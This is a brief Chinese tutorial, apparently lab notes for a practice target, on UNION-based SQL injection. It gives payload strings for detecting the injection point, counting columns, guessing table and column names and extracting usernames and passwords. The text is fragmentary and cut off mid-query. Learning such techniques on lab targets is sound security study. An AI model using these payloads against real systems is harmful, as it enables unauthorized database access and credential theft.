SQL注入(一)之union注入
靶机地址:http://59.53.63.23:10772/
在SQL注入的前期,第一件事情就是找到SQL注入点,在找到注入点后开始下面的内容:
一、联合查询法(一)...a.判断注入点:
and 1=1 --返回true,显示正常
and 1=2 --返回false,显示错误
b.猜多少列
order by [数值]
c.联合查询猜表名
union select 1,2,3...,……,7 from users --猜表名并记录返回回显位(报错说明表不存在,将表名更换继续猜)
d.联合查询猜列名
union select 1,2,username,4,5,password,7...column_name 列名
需要记住的三个函数:
database():当前网站使用的数据库
version():当前mysql的版本
user():当前mysql的用户
a.获取数据库库名、版本号、用户
union...where table_name='users';
e.查数据,假设查到的列名分别为:id,username,password
union select username,password from